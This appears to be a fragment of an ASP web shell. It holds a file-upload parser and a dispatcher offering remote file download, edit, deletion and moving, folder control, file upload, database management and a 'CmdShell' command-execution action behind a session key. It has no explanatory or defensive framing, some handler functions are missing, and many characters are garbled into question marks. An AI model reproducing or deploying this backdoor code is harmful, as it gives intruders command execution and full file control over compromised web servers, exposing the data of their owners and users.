<% Dim T1 Class UPC ? Dim D1,D2 ? Public Function Form(F) ? F=lcase(F) ? If D1.exists(F) then:Form=D1(F):else:Form="":end if ? End Function ? Public Function UA(F) ? F=lcase(F) ? If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if ? End Function ? Private Sub Class_Initialize ? Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName ? set D1=Server.CreateObject("Scripting.Dictionary") ?if Request.TotalBytes<1 then Exit Sub ? set T1=Server.CreateObject("Adodb.Stream") ?T1.Type=1 : T1.Mode=3 : T1.Open ? T1.Write? Request.BinaryRead(Request.TotalBytes) ? T1.Position=0 : TDa=T1.Read : DStart=1 ? DEnd=LenB(TDa) ? set D2=Server.CreateObject("Scripting.Dictionary") ?vbCrlf=chrB(13) & chrB(10) ? set T2=Server.CreateObject("Adodb.Stream") ? TSt=MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) ? TLen=LenB (TSt) ? DStart=DStart+TLen+1 ? while (DStart + 10) < DEnd ? DIEnd=InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 ? T2.Type=1 : T2.Mode=3 : T2.Open ? T1.Position=DStart ? T1.CopyTo T2,DIEnd-DStart ? T2.Position=0 : T2.Type=2 : T2.Charset="gb2312" ? TIn=T2.ReadText : T2.Close ? DStart=InStrB(DIEnd,TDa,TSt) ? FStart=InStr(22,TIn,"name=""",1)+6 ? FEnd=InStr(FStart,TIn,"""",1) ? UpName=lcase(Mid (TIn,FStart,FEnd-FStart)) ? if InStr (45,TIn,"filename=""",1) > 0 then
? set TFL=new FIF
? FStart=InStr(FEnd,TIn,"filename=""",1)+10
? FEnd=InStr(FStart,TIn,"""",1)
? FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14
? FEnd=InStr(FStart,TIn,vbCr)
? TFL.FileStart=DIEnd
? TFL.FileSize=DStart -DIEnd -3
? if not D2.Exists(UpName) then
? D2.add UpName,TFL
? end if
? else
? T2.Type=1 : T2.Mode=3 : T2.Open
? T1.Position=DIEnd : T1.CopyTo T2,DStart-DIEnd-3
? T2.Position=0 : T2.Type=2
? T2.Charset="gb2312"
? SFV=T2.ReadText
? T2.Close
? if D1.Exists(UpName) then
? D1(UpName)=D1(UpName)&", "&SFV
? else
? D1.Add UpName,SFV
? end if
? end if
? DStart=DStart+TLen+1
? wend
? TDa=""
? set T2=nothing
? End Sub
?
? Private Sub Class_Terminate
? if Request.TotalBytes>0 then
? D1.RemoveAll:D2.RemoveAll
? set D1=nothing:set D2=nothing
? T1.Close:set T1=nothing
? end if
? End Sub
End Class
Class FIF
dim FileSize,FileStart
? Private Sub Class_Initialize
? FileSize=0
? FileStart=0
? End Sub
?
? Public function SaveAs(F)
? dim T3
? SaveAs=true
? if trim(F)="" or FileStart=0 then exit function
? set T3=CreateObject("Adodb.Stream")
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Select Case Action
? Case "MainMenu":MainMenu():ShowErr()
?
? Case "ShowFile":ShowFile(Session("FolderPath"))
? Case "DownFile":DownFile FName:ShowErr()
? Case "DelFile":DelFile FName:ShowErr()
? Case "EditFile":EditFile FName:ShowErr()
? Case "CopyFile":CopyFile FName:ShowErr()
? Case "MoveFile":MoveFile FName:ShowErr()
? Case "DelFolder":DelFolder FName:ShowErr()
? Case "CopyFolder":CopyFolder FName:ShowErr()
? Case "MoveFolder":MoveFolder FName:ShowErr()
? Case "NewFolder":NewFolder FName:ShowErr()
? Case "UpFile":UpFile()
? Case "Logout":Session.Contents.Remove("GXGL"):Response.Redirect URL
? Case "CmdShell":CmdShell():ShowErr()
? Case "CreateMdb":CreateMdb FName:ShowErr()
? Case "CompactMdb":CompactMdb FName:ShowErr()
? Case "DbManager":DbManager():ShowErr()
? Case Else MainForm()
End Select
%>
